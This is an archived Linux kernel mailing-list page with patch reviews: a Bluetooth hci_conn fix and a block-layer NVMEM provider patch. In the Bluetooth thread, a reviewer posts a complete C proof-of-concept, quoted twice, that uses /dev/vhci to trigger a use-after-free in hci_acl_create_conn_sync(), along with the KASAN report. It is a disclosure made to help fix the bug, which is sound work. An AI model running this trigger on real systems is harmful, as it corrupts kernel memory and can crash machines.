>> static void send_cs(uint16_t o, uint8_t s) {
>>       uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
>>       send_evt(HCI_EV_CMD_STATUS, p, 4);
>> }
>>
>> static void *init_thr(void *a)
>> {
>>       (void)a;
>>       uint16_t o; uint8_t p[256]; int pl;
>>       while (1) {
>>           if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
>>           if (o == HCI_OP_CREATE_CONN) {
>>               /* Reject with Command Status error 0x2e */
>>               send_cs(o, 0x2e);
>>               saw_conn = 1;
>>               continue;
>>           }
>>           if (o == HCI_OP_RESET) { send_ok(o); continue; }
>>           /* ... handle many other HCI commands for init ... */
>>           send_ok(o);
>>       }
>>       return 0;
>> }
>>
>> struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
>> #define MGMT_OP_SET_POWERED     0x0005
>> #define MGMT_OP_SET_CONNECTABLE 0x000b
>>
>> int main(void)
>> {
>>       printf("[*] open vhci\n");
>>       vhci_fd = open("/dev/vhci", O_RDWR);
>>       if (vhci_fd < 0) { perror("vhci"); return 1; }
>>       uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
>>
>>       printf("[*] start vhci init thread\n");
>>       pthread_t t; pthread_create(&t, 0, init_thr, 0);
>>       sleep(6);
>>
>>       /* Power on via MGMT */
>>       int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
>>       if (mgmt >= 0) {
>>           struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff,
>> HCI_CHANNEL_CONTROL};
>>           if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
>>               uint8_t cmd[256];
>>               struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
>>               hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len
>> = 1;
>>               cmd[sizeof(*hdr)] = 1;
>>               write(mgmt, cmd, sizeof(*hdr) + 1);
>>               usleep(200000);
>>               hdr->opcode = MGMT_OP_SET_CONNECTABLE;
>>               write(mgmt, cmd, sizeof(*hdr) + 1);
>>               usleep(200000);
>>           }
>>           close(mgmt);
>>       }
>>
>>       /* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
>>       printf("[*] L2CAP connect (trigger)\n");
>>       int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
>>       if (l2 >= 0) {
>>           struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
>>           ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
>>           bind(l2, (struct sockaddr *)&ba, sizeof(ba));
>>           struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
>>           ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
>>           ca.l2_bdaddr_type = BDADDR_BREDR;
>>           memset(ca.l2_bdaddr, 0x11, 6);
>>           connect(l2, (struct sockaddr *)&ca, sizeof(ca));
>>           close(l2);
>>       }
>>       usleep(500000);
>>       pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
>>       printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
>>       return 0;
>> }
>> ---8<---
>>
>> Hope this helps with the patch.  Let me know if you need additional
>> information from the test setup.
>>
>> [1]
>> https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz
> 
> Thanks for your review. I will send a new patch to fix this.
> I would like to add a suggested by if i have your permission.
> 
> Best,
> Siwei



^ permalink raw reply

* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
From: Siwei Zhang @ 2026-06-15 12:38 UTC (permalink / raw)
  To: XIAO WU, Luiz Augusto von Dentz; +Cc: linux-bluetooth
In-Reply-To: <tencent_CB641244263894463F94A2B27D5E9BE43D07@qq.com>

Hi Xiao Wu,

On Sat, Jun 13, 2026, at 6:40 AM, XIAO WU wrote:
> Hi Siwei,
>
> On Thu, 11 Jun 2026 11:19:52 -0400, Siwei Zhang wrote:
>  > Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
>
> This patch correctly fixes the NULL dereference in hci_abort_conn() by
> tracking in-flight create commands with HCI_CONN_CREATE.
>
> I noticed a Sashiko review[1] of this patch flagged that the new
> clear_bit(HCI_CONN_CREATE, &conn->flags) calls after
> __hci_cmd_sync_status_sk() introduce a use-after-free.  I wrote a PoC
> to verify this and was able to trigger it reliably on a KASAN-enabled
> kernel.
>
> The race:
>
>    If the controller rejects the ACL connection attempt (e.g. via
>    Command Status with a non-zero status), the RX thread processes the
>    rejection in hci_cs_create_conn() → hci_conn_del(), freeing the
>    hci_conn object.  Shortly after, __hci_cmd_sync_status_sk() returns
>    the error to hci_acl_create_conn_sync() on the hci_cmd_sync_work
>    worker, which then writes to the freed conn via clear_bit().
>
> My PoC opens /dev/vhci, creates a virtual controller that responds to
> HCI_OP_CREATE_CONN with Command Status error 0x2e, powers on the
> controller, and triggers an L2CAP connect.  This reliably hits:
>
> ==================================================================
> BUG: KASAN: slab-use-after-free in hci_acl_create_conn_sync+0x3c6/0x600
> Write of size 8 at addr ffff88802eed2950 by task kworker/u11:0/57
> Workqueue: hci0 hci_cmd_sync_work
>
> Call Trace:
>   <TASK>
>   dump_stack_lvl+0x116/0x1f0
>   print_report+0xf4/0x600
>   kasan_report+0xe0/0x110
>   kasan_check_range+0x100/0x1b0
>   hci_acl_create_conn_sync+0x3c6/0x600    <-- clear_bit on freed conn
>   hci_cmd_sync_work+0x1b0/0x480
>   process_one_work+0xa20/0x1c50
>   worker_thread+0x6df/0xf30
>   kthread+0x387/0x4a0
>
> Allocated by task 9349 (L2CAP connect):
>   __hci_conn_add+0xfd/0x1df0
>   hci_conn_add_unset+0x7b/0x130
>   hci_connect_acl+0x4aa/0x7c0
>   l2cap_chan_connect+0x779/0x2160
>   l2cap_sock_connect+0x381/0x7a0
>
> Freed by task 9353 (RX thread):
>   kfree+0x171/0x720
>   device_release+0xd7/0x280
>   hci_conn_del_sysfs+0x17b/0x1a0
>   hci_conn_del+0x685/0x11d0
>   hci_cs_create_conn+0x1e9/0x430     <-- controller rejection
>   hci_cmd_status_evt+0x267/0x790
>   hci_event_packet+0x521/0xce0
>   hci_rx_work+0x2ce/0x1030
> ==================================================================
>
> The race window:
>
>    hci_acl_create_conn_sync()           hci_rx_work()
>    ==========================           ==============
>    __hci_cmd_sync_status_sk(...)        hci_cs_create_conn()
>      → waiting for controller reply       → hci_conn_del()
>                                           → kfree(conn)
>    clear_bit(HCI_CONN_CREATE,
>      &conn->flags);  ← UAF
>
> The same pattern exists in hci_le_create_conn_sync().
>
> One possible fix: take a reference on conn before the cmd_sync call
> and drop it after clear_bit(), or move the clear_bit to a point where
> the conn is still guaranteed to be alive.  The Sashiko review[1]
> points out a few other issues in the same patch as well.
>
> I wrote the following PoC.  It opens /dev/vhci, emulates a controller
> that rejects CREATE_CONN, powers up via MGMT, and triggers an L2CAP
> connect to exercise the race.
>
> ---8<--- poc.c ---
> /*
>   * PoC for UAF in hci_acl_create_conn_sync()
>   *
>   * Opens /dev/vhci, creates a virtual HCI controller that responds to
>   * HCI_OP_CREATE_CONN with Command Status 0x2e 
> (HCI_ERROR_COMMAND_DISALLOWED).
>   * The RX thread processes this via hci_cs_create_conn() and frees the 
> conn,
>   * while the hci_cmd_sync_work worker then hits the UAF in clear_bit().
>   *
>   * Build:  gcc -Wall -O2 -o poc poc.c -lpthread
>   * Run:    ./poc   (root, KASAN-enabled kernel, vhci loaded)
>   */
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <sys/socket.h>
> #include <sys/poll.h>
> #include <pthread.h>
> #include <stdint.h>
>
> #define HCI_COMMAND_PKT 0x01
> #define HCI_EVENT_PKT    0x04
> #define HCI_VENDOR_PKT   0xff
> #define HCI_EV_CMD_COMPLETE 0x0e
> #define HCI_EV_CMD_STATUS   0x0f
> #define HCI_OP_CREATE_CONN  0x0405
> #define HCI_OP_RESET        0x0c03
> #define BTPROTO_L2CAP   0
> #define BTPROTO_HCI     1
> #define BDADDR_BREDR    0x00
> #define HCI_CHANNEL_CONTROL 3
>
> struct sockaddr_l2 {
>      uint16_t l2_family, l2_psm;
>      uint8_t  l2_bdaddr[6];
>      uint16_t l2_cid;
>      uint8_t  l2_bdaddr_type;
> } __attribute__((packed));
>
> struct sockaddr_hci {
>      uint16_t hci_family, hci_dev, hci_channel;
> };
>
> static volatile int vhci_fd = -1;
> static volatile int saw_conn = 0;
>
> static int send_evt(uint8_t e, const void *d, uint8_t dl)
> {
>      uint8_t b[512];
>      b[0] = HCI_EVENT_PKT; b[1] = e; b[2] = dl;
>      if (dl && d) memcpy(b + 3, d, dl);
>      return write(vhci_fd, b, 3 + dl);
> }
>
> static int read_cmd(uint16_t *o, uint8_t *p, int *pl, int tmo)
> {
>      uint8_t b[8192];
>      struct pollfd pf = {.fd = vhci_fd, .events = POLLIN};
>      int r = poll(&pf, 1, tmo);
>      if (r <= 0) return -1;
>      r = read(vhci_fd, b, sizeof(b));
>      if (r < 4 || b[0] != HCI_COMMAND_PKT) return -1;
>      *o = b[1] | (b[2] << 8); *pl = b[3];
>      if (p && *pl) memcpy(p, b + 4, (*pl < r - 4) ? *pl : r - 4);
>      return 1;
> }
>
> static void send_ok(uint16_t o) { uint8_t r[1] = {0}; 
> send_evt(HCI_EV_CMD_COMPLETE, r, 1); }
> static void send_cc(uint16_t o, const void *rd, uint8_t rl) { 
> send_evt(HCI_EV_CMD_COMPLETE, rd, rl); }
> static void send_cs(uint16_t o, uint8_t s) {
>      uint8_t p[4] = {s, 1, o & 0xff, (o >> 8) & 0xff};
>      send_evt(HCI_EV_CMD_STATUS, p, 4);
> }
>
> static void *init_thr(void *a)
> {
>      (void)a;
>      uint16_t o; uint8_t p[256]; int pl;
>      while (1) {
>          if (read_cmd(&o, p, &pl, 2000) < 0) { usleep(50000); continue; }
>          if (o == HCI_OP_CREATE_CONN) {
>              /* Reject with Command Status error 0x2e */
>              send_cs(o, 0x2e);
>              saw_conn = 1;
>              continue;
>          }
>          if (o == HCI_OP_RESET) { send_ok(o); continue; }
>          /* ... handle many other HCI commands for init ... */
>          send_ok(o);
>      }
>      return 0;
> }
>
> struct mgmt_hdr { uint16_t opcode, index, len; } __attribute__((packed));
> #define MGMT_OP_SET_POWERED     0x0005
> #define MGMT_OP_SET_CONNECTABLE 0x000b
>
> int main(void)
> {
>      printf("[*] open vhci\n");
>      vhci_fd = open("/dev/vhci", O_RDWR);
>      if (vhci_fd < 0) { perror("vhci"); return 1; }
>      uint8_t c[2] = {HCI_VENDOR_PKT, 0}; write(vhci_fd, c, 2);
>
>      printf("[*] start vhci init thread\n");
>      pthread_t t; pthread_create(&t, 0, init_thr, 0);
>      sleep(6);
>
>      /* Power on via MGMT */
>      int mgmt = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
>      if (mgmt >= 0) {
>          struct sockaddr_hci ha = {AF_BLUETOOTH, 0xffff, 
> HCI_CHANNEL_CONTROL};
>          if (bind(mgmt, (struct sockaddr *)&ha, sizeof(ha)) == 0) {
>              uint8_t cmd[256];
>              struct mgmt_hdr *hdr = (struct mgmt_hdr *)cmd;
>              hdr->opcode = MGMT_OP_SET_POWERED; hdr->index = 0; hdr->len 
> = 1;
>              cmd[sizeof(*hdr)] = 1;
>              write(mgmt, cmd, sizeof(*hdr) + 1);
>              usleep(200000);
>              hdr->opcode = MGMT_OP_SET_CONNECTABLE;
>              write(mgmt, cmd, sizeof(*hdr) + 1);
>              usleep(200000);
>          }
>          close(mgmt);
>      }
>
>      /* L2CAP connect triggers hci_connect_acl → hci_acl_create_conn_sync */
>      printf("[*] L2CAP connect (trigger)\n");
>      int l2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
>      if (l2 >= 0) {
>          struct sockaddr_l2 ba; memset(&ba, 0, sizeof(ba));
>          ba.l2_family = AF_BLUETOOTH; ba.l2_bdaddr_type = BDADDR_BREDR;
>          bind(l2, (struct sockaddr *)&ba, sizeof(ba));
>          struct sockaddr_l2 ca; memset(&ca, 0, sizeof(ca));
>          ca.l2_family = AF_BLUETOOTH; ca.l2_psm = 1;
>          ca.l2_bdaddr_type = BDADDR_BREDR;
>          memset(ca.l2_bdaddr, 0x11, 6);
>          connect(l2, (struct sockaddr *)&ca, sizeof(ca));
>          close(l2);
>      }
>      usleep(500000);
>      pthread_cancel(t); pthread_join(t, 0); close(vhci_fd);
>      printf("[*] done. Check dmesg for KASAN slab-use-after-free.\n");
>      return 0;
> }
> ---8<---
>
> Hope this helps with the patch.  Let me know if you need additional
> information from the test setup.
>
> [1] 
> https://sashiko.dev/#/patchset/20260611152039.2176565-1-oss%40fourdim.xyz

Thanks for your review. I will send a new patch to fix this.
I would like to add a suggested by if i have your permission.

Best,
Siwei

^ permalink raw reply

* Re: [PATCH v5 5/9] block: implement NVMEM provider
From: Loic Poulain @ 2026-06-15  9:33 UTC (permalink / raw)
  To: Bartosz Golaszewski
  Cc: linux-mmc, devicetree, linux-kernel, linux-arm-msm, linux-block,
	linux-wireless, ath10k, linux-bluetooth, netdev, daniel,
	Ulf Hansson, Rob Herring, Krzysztof Kozlowski, Conor Dooley,
	Bjorn Andersson, Konrad Dybcio, Jens Axboe, Johannes Berg,
	Jeff Johnson, Marcel Holtmann, Luiz Augusto von Dentz,
	Balakrishna Godavarthi, Rocky Liao, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Srinivas Kandagatla,
	Andrew Lunn, Heiner Kallweit, Russell King, Saravana Kannan
In-Reply-To: <CAFEp6-0qsqhcwnSjm3=bG21jsCktzn5-L5sk2pNTZcGuVXaiNA@mail.gmail.com>

On Mon, Jun 15, 2026 at 11:28 AM Loic Poulain
<loic.poulain@oss.qualcomm.com> wrote:
>
> On Mon, Jun 15, 2026 at 10:53 AM Bartosz Golaszewski <brgl@kernel.org> wrote:
> >
> > On Fri, 12 Jun 2026 15:20:57 +0200, Loic Poulain
> > <loic.poulain@oss.qualcomm.com> said:
> > > From: Daniel Golle <daniel@makrotopia.org>
> > >
> > > On embedded devices using an eMMC it is common that one or more partitions
> > > on the eMMC are used to store MAC addresses and Wi-Fi calibration EEPROM
> > > data. Allow referencing the partition in device tree for the kernel and
> > > Wi-Fi drivers accessing it via the NVMEM layer.
> > >
> > > For now, NVMEM is only registered for the whole disk block device, as the
> > > OF node is currently only associated to it.
> > >
> > > Signed-off-by: Daniel Golle <daniel@makrotopia.org>
> > > Co-developed-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> > > Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> > > ---
> > >  block/Kconfig             |   9 ++++
> > >  block/Makefile            |   1 +
> > >  block/blk-nvmem.c         | 109 ++++++++++++++++++++++++++++++++++++++++++++++
> > >  block/blk.h               |   8 ++++
> > >  block/genhd.c             |   4 ++
> > >  include/linux/blk_types.h |   3 ++
> > >  include/linux/blkdev.h    |   1 +
> > >  7 files changed, 135 insertions(+)
> > >
> > > diff --git a/block/Kconfig b/block/Kconfig
> > > index 15027963472d7b40e27b9097a5993c457b5b3054..0b33747e16dc33473683706f75c92bdf8b648f7c 100644
> > > --- a/block/Kconfig
> > > +++ b/block/Kconfig
> > > @@ -209,6 +209,15 @@ config BLK_INLINE_ENCRYPTION_FALLBACK
> > >         by falling back to the kernel crypto API when inline
> > >         encryption hardware is not present.
> > >
> > > +config BLK_NVMEM
> > > +     bool "Block device NVMEM provider"
> > > +     depends on OF
> > > +     depends on NVMEM
> > > +     help
> > > +       Allow block devices (or partitions) to act as NVMEM providers,
> > > +       typically used with eMMC to store MAC addresses or Wi-Fi
> > > +       calibration data on embedded devices.
> > > +
> > >  source "block/partitions/Kconfig"
> > >
> > >  config BLK_PM
> > > diff --git a/block/Makefile b/block/Makefile
> > > index 7dce2e44276c4274c11a0a61121c83d9c43d6e0c..d7ac389e71902bc091a8800ea266190a43b3e63d 100644
> > > --- a/block/Makefile
> > > +++ b/block/Makefile
> > > @@ -36,3 +36,4 @@ obj-$(CONFIG_BLK_INLINE_ENCRYPTION) += blk-crypto.o blk-crypto-profile.o \
> > >                                          blk-crypto-sysfs.o
> > >  obj-$(CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK) += blk-crypto-fallback.o
> > >  obj-$(CONFIG_BLOCK_HOLDER_DEPRECATED)        += holder.o
> > > +obj-$(CONFIG_BLK_NVMEM)                += blk-nvmem.o
> > > diff --git a/block/blk-nvmem.c b/block/blk-nvmem.c
> > > new file mode 100644
> > > index 0000000000000000000000000000000000000000..c005f059d9fe56242ebaef9905673dff902b5686
> > > --- /dev/null
> > > +++ b/block/blk-nvmem.c
> > > @@ -0,0 +1,109 @@
> > > +// SPDX-License-Identifier: GPL-2.0-or-later
> > > +/*
> > > + * block device NVMEM provider
> > > + *
> > > + * Copyright (c) 2024 Daniel Golle <daniel@makrotopia.org>
> > > + * Copyright (c) Qualcomm Technologies, Inc. and/or its subsidiaries.
> > > + *
> > > + * Useful on devices using a partition on an eMMC for MAC addresses or
> > > + * Wi-Fi calibration EEPROM data.
> > > + */
> > > +
> > > +#include <linux/file.h>
> > > +#include <linux/nvmem-provider.h>
> > > +#include <linux/nvmem-consumer.h>
> > > +#include <linux/of.h>
> > > +#include <linux/pagemap.h>
> > > +#include <linux/property.h>
> > > +
> > > +#include "blk.h"
> > > +
> > > +static int blk_nvmem_reg_read(void *priv, unsigned int from, void *val, size_t bytes)
> > > +{
> > > +     blk_mode_t mode = BLK_OPEN_READ | BLK_OPEN_RESTRICT_WRITES;
> > > +     dev_t devt = (dev_t)(uintptr_t)priv;
> > > +     size_t bytes_left = bytes;
> > > +     loff_t pos = from;
> > > +     int ret = 0;
> > > +
> > > +     struct file *bdev_file __free(fput) = bdev_file_open_by_dev(devt, mode, priv, NULL);
> > > +     if (IS_ERR(bdev_file))
> > > +             return PTR_ERR(bdev_file);
> > > +
> > > +     while (bytes_left) {
> > > +             pgoff_t f_index = pos >> PAGE_SHIFT;
> > > +             struct folio *folio;
> > > +             size_t folio_off;
> > > +             size_t to_read;
> > > +
> > > +             folio = read_mapping_folio(bdev_file->f_mapping, f_index, NULL);
> > > +             if (IS_ERR(folio)) {
> > > +                     ret = PTR_ERR(folio);
> > > +                     break;
> > > +             }
> > > +
> > > +             folio_off = offset_in_folio(folio, pos);
> > > +             to_read = min(bytes_left, folio_size(folio) - folio_off);
> > > +             memcpy_from_folio(val, folio, folio_off, to_read);
> > > +             pos += to_read;
> > > +             bytes_left -= to_read;
> > > +             val += to_read;
> > > +             folio_put(folio);
> > > +     }
> > > +
> > > +     return ret;
> > > +}
> > > +
> > > +void blk_nvmem_add(struct block_device *bdev)
> > > +{
> > > +     struct device *dev = &bdev->bd_device;
> > > +     struct nvmem_config config = {};
> > > +
> > > +     /* skip devices which do not have a device tree node */
> > > +     if (!dev_of_node(dev))
> > > +             return;
> > > +
> > > +     /* skip devices without an nvmem layout defined */
> > > +     struct device_node *child __free(device_node) =
> > > +             of_get_child_by_name(dev_of_node(dev), "nvmem-layout");
> > > +     if (!child)
> > > +             return;
> > > +
> > > +     /*
> > > +      * skip block device too large to be represented as NVMEM devices,
> > > +      * the NVMEM reg_read callback uses an unsigned int offset
> > > +      */
> > > +     if (bdev_nr_bytes(bdev) > UINT_MAX) {
> > > +             dev_warn(dev, "block device too large to be an NVMEM provider\n");
> > > +             return;
> > > +     }
> > > +
> > > +     config.id = NVMEM_DEVID_NONE;
> > > +     config.dev = dev;
> > > +     config.name = dev_name(dev);
> > > +     config.owner = THIS_MODULE;
> > > +     config.priv = (void *)(uintptr_t)dev->devt;
> > > +     config.reg_read = blk_nvmem_reg_read;
> > > +     config.size = bdev_nr_bytes(bdev);
> > > +     config.word_size = 1;
> > > +     config.stride = 1;
> > > +     config.read_only = true;
> > > +     config.root_only = true;
> > > +     config.ignore_wp = true;
> > > +     config.of_node = to_of_node(dev->fwnode);
> > > +
> > > +     bdev->bd_nvmem = nvmem_register(&config);
> > > +     if (IS_ERR(bdev->bd_nvmem)) {
> > > +             dev_err_probe(dev, PTR_ERR(bdev->bd_nvmem),
> > > +                           "Failed to register NVMEM device\n");
> >
> > Using dev_err_probe() only makes sense with a return value. Which makes me
> > think: we won't retry this after a probe deferral. I think we should return
>
> Yes, so here with the nvmem fixed-layout, there is no way to get a
> deferred probe error, but better to be ready to handle this anyway.
>
> > int from this function just for this use-case. Also: if we *do* have
> > a layout, shouldn't we treat a failure to register the nvmem provider as
> > a an error and propagate it up the stack?
>
> From an API perspective we should indeed return the error. From block
> core, Do we want to fail the entire disk addition just because the
> 'companion' NVMEM provider couldn't be registered, or should we only
> abort/return in case of EPROBE_DEFER?

Also we cannot safely return -EPROBE_DEFER from add_disk_final()
either. The NVMEM registration point is late in the sequence, too much
has already happened to easily unwind. The easiest is that the NVMEM
simply won't be available if registration fails, which looks
acceptable?

>
> >
> > > +             bdev->bd_nvmem = NULL;
> > > +     }
> > > +}
> > > +
> > > +void blk_nvmem_del(struct block_device *bdev)
> > > +{
> > > +     if (bdev->bd_nvmem)
> >
> > Nvmem core already performs a NULL check.
>
> Ok, thanks!
>
>
> >
> > > +             nvmem_unregister(bdev->bd_nvmem);
> > > +
> > > +     bdev->bd_nvmem = NULL;
> > > +}
> > > diff --git a/block/blk.h b/block/blk.h
> > > index ec4674cdf2ead4fd259ff5fc42401f591e684ee9..cd3c7ca723391c40be56f1dd4810e641b7c8a2b3 100644
> > > --- a/block/blk.h
> > > +++ b/block/blk.h
> > > @@ -757,4 +757,12 @@ static inline void blk_debugfs_unlock(struct request_queue *q,
> > >       memalloc_noio_restore(memflags);
> > >  }
> > >
> > > +#ifdef CONFIG_BLK_NVMEM
> > > +void blk_nvmem_add(struct block_device *bdev);
> > > +void blk_nvmem_del(struct block_device *bdev);
> > > +#else
> > > +static inline void blk_nvmem_add(struct block_device *bdev) {}
> > > +static inline void blk_nvmem_del(struct block_device *bdev) {}
> > > +#endif
> > > +
> > >  #endif /* BLK_INTERNAL_H */
> > > diff --git a/block/genhd.c b/block/genhd.c
> > > index 7d6854fd28e95ae9134309679a7c6a937f5b7db8..1b2382de6fb30c1e5f60f45c04dc03ed3bf5d5f2 100644
> > > --- a/block/genhd.c
> > > +++ b/block/genhd.c
> > > @@ -421,6 +421,8 @@ static void add_disk_final(struct gendisk *disk)
> > >                */
> > >               dev_set_uevent_suppress(ddev, 0);
> > >               disk_uevent(disk, KOBJ_ADD);
> > > +
> > > +             blk_nvmem_add(disk->part0);
> > >       }
> > >
> > >       blk_apply_bdi_limits(disk->bdi, &disk->queue->limits);
> > > @@ -704,6 +706,8 @@ static void __del_gendisk(struct gendisk *disk)
> > >
> > >       disk_del_events(disk);
> > >
> > > +     blk_nvmem_del(disk->part0);
> > > +
> > >       /*
> > >        * Prevent new openers by unlinked the bdev inode.
> > >        */
> > > diff --git a/include/linux/blk_types.h b/include/linux/blk_types.h
> > > index 8808ee76e73c09e0ceaac41ba59e86fb0c4efc64..ace6f59b860d0813665b2f62a1c03a1f4be94059 100644
> > > --- a/include/linux/blk_types.h
> > > +++ b/include/linux/blk_types.h
> > > @@ -73,6 +73,9 @@ struct block_device {
> > >       int                     bd_writers;
> > >  #ifdef CONFIG_SECURITY
> > >       void                    *bd_security;
> > > +#endif
> > > +#ifdef CONFIG_BLK_NVMEM
> > > +     struct nvmem_device     *bd_nvmem;
> > >  #endif
> > >       /*
> > >        * keep this out-of-line as it's both big and not needed in the fast
> > > diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h
> > > index 890128cdea1ce66863c5baa36f3b336ec4550807..f15d2b5bf9e4fd2368b8a70416a978e22c0d4333 100644
> > > --- a/include/linux/blkdev.h
> > > +++ b/include/linux/blkdev.h
> > > @@ -30,6 +30,7 @@
> > >
> > >  struct module;
> > >  struct request_queue;
> > > +struct nvmem_device;
> > >  struct elevator_queue;
> > >  struct blk_trace;
> > >  struct request;
> > >
> > > --
> > > 2.34.1
> > >
> > >
> >
> > I like this approach better than the previous one.
> >
> > Thanks,
> > Bartosz

^ permalink raw reply

* Re: [PATCH v5 5/9] block: implement NVMEM provider
From: Loic Poulain @ 2026-06-15  9:28 UTC (permalink / raw)
  To: Bartosz Golaszewski
  Cc: linux-mmc, devicetree, linux-kernel, linux-arm-msm, linux-block,
	linux-wireless, ath10k, linux-bluetooth, netdev, daniel,
	Ulf Hansson, Rob Herring, Krzysztof Kozlowski, Conor Dooley,
	Bjorn Andersson, Konrad Dybcio, Jens Axboe, Johannes Berg,
	Jeff Johnson, Marcel Holtmann, Luiz Augusto von Dentz,
	Balakrishna Godavarthi, Rocky Liao, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, Srinivas Kandagatla,
	Andrew Lunn, Heiner Kallweit, Russell King, Saravana Kannan
In-Reply-To: <CAMRc=McQkLnz2OS2RREAbcrsp47cL-W3bCduq8LwPBBUcVNyJw@mail.gmail.com>

On Mon, Jun 15, 2026 at 10:53 AM Bartosz Golaszewski <brgl@kernel.org> wrote:
>
> On Fri, 12 Jun 2026 15:20:57 +0200, Loic Poulain
> <loic.poulain@oss.qualcomm.com> said:
> > From: Daniel Golle <daniel@makrotopia.org>
> >
> > On embedded devices using an eMMC it is common that one or more partitions
> > on the eMMC are used to store MAC addresses and Wi-Fi calibration EEPROM
> > data. Allow referencing the partition in device tree for the kernel and
> > Wi-Fi drivers accessing it via the NVMEM layer.
> >
> > For now, NVMEM is only registered for the whole disk block device, as the
> > OF node is currently only associated to it.
> >
> > Signed-off-by: Daniel Golle <daniel@makrotopia.org>
> > Co-developed-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> > Signed-off-by: Loic Poulain <loic.poulain@oss.qualcomm.com>
> > ---
> >  block/Kconfig             |   9 ++++
> >  block/Makefile            |   1 +
> >  block/blk-nvmem.c         | 109 ++++++++++++++++++++++++++++++++++++++++++++++
> >  block/blk.h               |   8 ++++
> >  block/genhd.c             |   4 ++
> >  include/linux/blk_types.h |   3 ++
> >  include/linux/blkdev.h    |   1 +
> >  7 files changed, 135 insertions(+)
> >
> > diff --git a/block/Kconfig b/block/Kconfig
> > index 15027963472d7b40e27b9097a5993c457b5b3054..0b33747e16dc33473683706f75c92bdf8b648f7c 100644
> > --- a/block/Kconfig
> > +++ b/block/Kconfig
> > @@ -209,6 +209,15 @@ config BLK_INLINE_ENCRYPTION_FALLBACK
> >         by falling back to the kernel crypto API when inline
> >         encryption hardware is not present.
> >
> > +config BLK_NVMEM
> > +     bool "Block device NVMEM provider"
> > +     depends on OF
> > +     depends on NVMEM
> > +     help
> > +       Allow block devices (or partitions) to act as NVMEM providers,
> > +       typically used with eMMC to store MAC addresses or Wi-Fi
> > +       calibration data on embedded devices.
> > +
> >  source "block/partitions/Kconfig"
> >
> >  config BLK_PM
> > diff --git a/block/Makefile b/block/Makefile
> > index 7dce2e44276c4274c11a0a61121c83d9c43d6e0c..d7ac389e71902bc091a8800ea266190a43b3e63d 100644
> > --- a/block/Makefile
> > +++ b/block/Makefile
> > @@ -36,3 +36,4 @@ obj-$(CONFIG_BLK_INLINE_ENCRYPTION) += blk-crypto.o blk-crypto-profile.o \
> >                                          blk-crypto-sysfs.o
> >  obj-$(CONFIG_BLK_INLINE_ENCRYPTION_FALLBACK) += blk-crypto-fallback.o
> >  obj-$(CONFIG_BLOCK_HOLDER_DEPRECATED)        += holder.o
> > +obj-$(CONFIG_BLK_NVMEM)                += blk-nvmem.o
> > diff --git a/block/blk-nvmem.c b/block/blk-nvmem.c
> > new file mode 100644
> > index 0000000000000000000000000000000000000000..c005f059d9fe56242ebaef9905673dff902b5686
> > --- /dev/null
> > +++ b/block/blk-nvmem.c
> > @@ -0,0 +1,109 @@
> > +// SPDX-License-Identifier: GPL-2.0-or-later
> > +/*
> > + * block device NVMEM provider
> > + *
> > + * Copyright (c) 2024 Daniel Golle <daniel@makrotopia.org>
> > + * Copyright (c) Qualcomm Technologies, Inc. and/or its subsidiaries.
> > + *
> > + * Useful on devices using a partition on an eMMC for MAC addresses or
> > + * Wi-Fi calibration EEPROM data.
> > + */
> > +
> > +#include <linux/file.h>
> > +#include <linux/nvmem-provider.h>
> > +#include <linux/nvmem-consumer.h>
> > +#include <linux/of.h>
> > +#include <linux/pagemap.h>
> > +#include <linux/property.h>
> > +
> > +#include "blk.h"
> > +
> > +static int blk_nvmem_reg_read(void *priv, unsigned int from, void *val, size_t bytes)
> > +{
> > +     blk_mode_t mode = BLK_OPEN_READ | BLK_OPEN_RESTRICT_WRITES;
> > +     dev_t devt = (dev_t)(uintptr_t)priv;
> > +     size_t bytes_left = bytes;
> > +     loff_t pos = from;
> > +     int ret = 0;
> > +
> > +     struct file *bdev_file __free(fput) = bdev_file_open_by_dev(devt, mode, priv, NULL);
> > +     if (IS_ERR(bdev_file))
> > +             return PTR_ERR(bdev_file);
> > +
> > +     while (bytes_left) {
> > +             pgoff_t f_index = pos >> PAGE_SHIFT;
> > +             struct folio *folio;
> > +             size_t folio_off;
> > +             size_t to_read;
> > +
> > +             folio = read_mapping_folio(bdev_file->f_mapping, f_index, NULL);
> > +             if (IS_ERR(folio)) {
> > +                     ret = PTR_ERR(folio);
> > +                     break;
> > +             }
> > +
> > +             folio_off = offset_in_folio(folio, pos);
> > +             to_read = min(bytes_left, folio_size(folio) - folio_off);
> > +             memcpy_from_folio(val, folio, folio_off, to_read);
> > +             pos += to_read;
> > +             bytes_left -= to_read;
> > +             val += to_read;
> > +             folio_put(folio);
> > +     }
> > +
